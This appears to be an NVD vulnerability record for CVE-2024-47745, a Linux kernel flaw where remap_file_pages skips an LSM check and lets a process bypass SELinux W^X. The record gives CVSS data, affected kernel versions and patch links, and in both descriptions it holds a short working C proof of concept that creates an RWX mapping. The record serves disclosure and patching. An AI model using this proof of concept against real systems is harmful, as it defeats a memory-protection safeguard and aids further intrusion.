fkie_cve-2024-47745
Vulnerability from fkie_nvd
Published
2024-10-21 13:15
Modified
2024-12-14 21:15
Severity ?
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Summary
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
References
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2Patch
Impacted products
Vendor Product Version
linux linux_kernel *
linux linux_kernel *
linux linux_kernel *


To clipboard 

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "C071AD88-76A0-45A5-9C1C-8DA6DBF2084B",
              "versionEndExcluding": "6.6.54",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "CE94BB8D-B0AB-4563-9ED7-A12122B56EBE",
              "versionEndExcluding": "6.10.13",
              "versionStartIncluding": "6.7",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "AB755D26-97F4-43B6-8604-CD076811E181",
              "versionEndExcluding": "6.11.2",
              "versionStartIncluding": "6.11",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn\u0027t contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat \u003e test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret \u003c= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"
    },
    {
      "lang": "es",
      "value": "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobaci\u00f3n de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para p\u00e1ginas RW, esto realmente dar\u00e1 como resultado la reasignaci\u00f3n de las p\u00e1ginas a RWX, omitiendo una pol\u00edtica W^X aplicada por SELinux. Por lo tanto, deber\u00edamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una pol\u00edtica W^X aplicada por SELinux. La omisi\u00f3n es similar a CVE-2016-10044, que omite lo mismo a trav\u00e9s de AIO y se puede encontrar en [1]. La PoC: $ cat \u0026gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \"test\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la p\u00e1gina RWX existe incluso si se aplica la pol\u00edtica W^X int fd = open(\"/proc/self/maps\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret \u0026lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la l\u00ednea de asunto]"
    }
  ],
  "id": "CVE-2024-47745",
  "lastModified": "2024-12-14T21:15:26.217",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2024-10-21T13:15:04.580",
  "references": [
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "tags": [
        "Patch"
      ],
      "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "tags": [
        "Patch"
      ],
      "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "tags": [
        "Patch"
      ],
      "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"
    },
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "tags": [
        "Patch"
      ],
      "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"
    }
  ],
  "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-670"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}


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